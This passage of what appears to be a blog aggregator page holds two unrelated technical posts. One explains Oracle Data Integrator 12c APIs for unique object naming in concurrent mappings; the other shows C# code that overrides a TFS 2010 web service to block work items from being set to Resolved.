%UNIQUE_SESSION_TAG. This API always generates to the <? version of getObjectName() At execution time this API will replace the unique tag macros with a string that is unique to the current execution scope. The returned name will conform to the name-length restriction for the target technology, and its pattern for the unique tag. Any necessary truncation will be performed against the initial name for the object and any other fixed text that may have been specified. Examples are:- <?=odiRef.getObjectName("L", "%COL_PRFEMP%UNIQUE_STEP_TAG", "D")?> SCOTT.C$_EABH7QI1BR1EQI3M76PG9SIMBQQ <?=odiRef.getObjectName("L", "EMP%UNIQUE_STEP_TAG_AE", "D")?> SCOTT.EMPAO96Q2JEKO0FTHQP77TMSAIOSR_ Methods which have this kind of support include getFrom, getTableName, getTable, getObjectShortName and getTemporaryIndex. There are APIs for retrieving this tag info also, the getInfo API has been extended with the following properties (the UNIQUE* properties can also be used in ODI procedures); UNIQUE_STEP_TAG - Returns the unique value for the current step scope, e.g. 5rvmd8hOIy7OU2o1FhsF61 Note that this will be a different value for each loop-iteration when the step is in a loop. UNIQUE_SESSION_TAG - Returns the unique value for the current session scope, e.g. 6N38vXLrgjwUwT5MseHHY9 IS_CONCURRENT - Returns info about the current mapping, will return 0 or 1 (only in % phase) GUID_SRC_SET - Returns the UUID for the current source set/execution unit (only in % phase) The getPop API has been extended with the IS_CONCURRENT property which returns info about an mapping, will return 0 or 1.  2.2 Additional APIs Some new APIs are provided including getFormattedName which will allow KM developers to construct a name from fixed-text or ODI symbols that can be optionally truncate to a max length and use a specific encoding for the unique tag. It has syntax getFormattedName(String pName[, String pTechnologyCode]) This API is available at both the % and the ? phase.  The format string can contain the ODI prefixes that are available for getObjectName(), e.g. %INT_PRF, %COL_PRF, %ERR_PRF, %IDX_PRF alongwith %UNIQUE_STEP_TAG or %UNIQUE_SESSION_TAG. The latter tags will be expanded into a unique string according to the specified technology. Calls to this API within the same execution context are guaranteed to return the same unique name provided that the same parameters are passed to the call. e.g. <%=odiRef.getFormattedName("%COL_PRFMY_TABLE%UNIQUE_STEP_TAG_AE", "ORACLE")%> <?=odiRef.getFormattedName("%COL_PRFMY_TABLE%UNIQUE_STEP_TAG_AE", "ORACLE")?> C$_MY_TAB7wDiBe80vBog1auacS1xB_AE <?=odiRef.getFormattedName("%COL_PRFMY_TABLE%UNIQUE_STEP_TAG.log", "FILE")?> C2_MY_TAB7wDiBe80vBog1auacS1xB.log 2.3 Name length generation  As part of name generation, the length of the generated name will be compared with the maximum length for the target technology and truncation may need to be applied. When a unique tag is included in the generated string it is important that uniqueness is not compromised by truncation of the unique tag. When a unique tag is NOT part of the generated name, the name will be truncated by removing characters from the end - this is the existing 11g algorithm. When a unique tag is included, the algorithm will first truncate the <postfix> and if necessary  the <prefix>. It is recommended that users will ensure there is sufficient uniqueness in the <prefix> section to ensure uniqueness of the final resultant name. SUMMARY To summarize, ODI 12c make it much simpler to utilize mappings in concurrent cases and provides APIs for helping developing any procedures or custom knowledge modules in such a way they can be used in highly concurrent, parallel scenarios. 

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• Overwriting TFS Web Services

  - by javarg

  In this blog I will share a technique I used to intercept TFS Web Services calls. This technique is a very invasive one and requires you to overwrite default TFS Web Services behavior. I only recommend taking such an approach when other means of TFS extensibility fail to provide the same functionality (this is not a supported TFS extensibility point). For instance, intercepting and aborting a Work Item change operation could be implemented using this approach (consider TFS Subscribers functionality before taking this approach, check Martin’s post about subscribers). So let’s get started. The technique consists in versioning TFS Web Services .asmx service classes. If you look into TFS’s ASMX services you will notice that versioning is supported by creating a class hierarchy between different product versions. For instance, let’s take the Work Item management service .asmx. Check the following .asmx file located at: %Program Files%\Microsoft Team Foundation Server 2010\Application Tier\Web Services\_tfs_resources\WorkItemTracking\v3.0\ClientService.asmx The .asmx references the class Microsoft.TeamFoundation.WorkItemTracking.Server.ClientService3: <%-- Copyright (c) Microsoft Corporation. All rights reserved. --%> <%@ webservice language="C#" Class="Microsoft.TeamFoundation.WorkItemTracking.Server.ClientService3" %> .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } The inheritance hierarchy for this service class follows: Note the naming convention used for service versioning (ClientService3, ClientService2, ClientService). We will need to overwrite the latest service version provided by the product (in this case ClientService3 for TFS 2010). The following example intercepts and analyzes WorkItem fields. Suppose we need to validate state changes with more advanced logic other than the provided validations/constraints of the process template. Important: Backup the original .asmx file and create one of your own. Create a Visual Studio Web App Project and include a new ASMX Web Service in the project Add the following references to the project (check the folder %Program Files%\Microsoft Team Foundation Server 2010\Application Tier\Web Services\bin\): Microsoft.TeamFoundation.Framework.Server.dll Microsoft.TeamFoundation.Server.dll Microsoft.TeamFoundation.Server.dll Microsoft.TeamFoundation.WorkItemTracking.Client.QueryLanguage.dll Microsoft.TeamFoundation.WorkItemTracking.Server.DataAccessLayer.dll Microsoft.TeamFoundation.WorkItemTracking.Server.DataServices.dll Replace the default service implementation with the something similar to the following code: Code Snippet /// <summary> /// Inherit from ClientService3 to overwrite default Implementation /// </summary> [WebService(Namespace = "http://schemas.microsoft.com/TeamFoundation/2005/06/WorkItemTracking/ClientServices/03", Description = "Custom Team Foundation WorkItemTracking ClientService Web Service")] public class CustomTfsClientService : ClientService3 {     [WebMethod, SoapHeader("requestHeader", Direction = SoapHeaderDirection.In)]     public override bool BulkUpdate(         XmlElement package,         out XmlElement result,         MetadataTableHaveEntry[] metadataHave,         out string dbStamp,         out Payload metadata)     {         var xe = XElement.Parse(package.OuterXml);         // We only intercept WorkItems Updates (we can easily extend this sample to capture any operation).         var wit = xe.Element("UpdateWorkItem");         if (wit != null)         {             if (wit.Attribute("WorkItemID") != null)             {                 int witId = (int)wit.Attribute("WorkItemID");                 // With this Id. I can query TFS for more detailed information, using TFS Client API (assuming the WIT already exists).                 var stateChanged =                     wit.Element("Columns").Elements("Column").FirstOrDefault(c => (string)c.Attribute("Column") == "System.State");                 if (stateChanged != null)                 {                     var newStateName = stateChanged.Element("Value").Value;                     if (newStateName == "Resolved")                     {                         throw new Exception("Cannot change state to Resolved!");                     }                 }             }         }         // Finally, we call base method implementation         return base.BulkUpdate(package, out result, metadataHave, out dbStamp, out metadata);     } } .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } 4. Build your solution and overwrite the original .asmx with the new implementation referencing our new service version (don’t forget to backup it up first). 5. Copy your project’s .dll into the following path: %Program Files%\Microsoft Team Foundation Server 2010\Application Tier\Web Services\bin 6. Try saving a WorkItem into the Resolved state. Enjoy!

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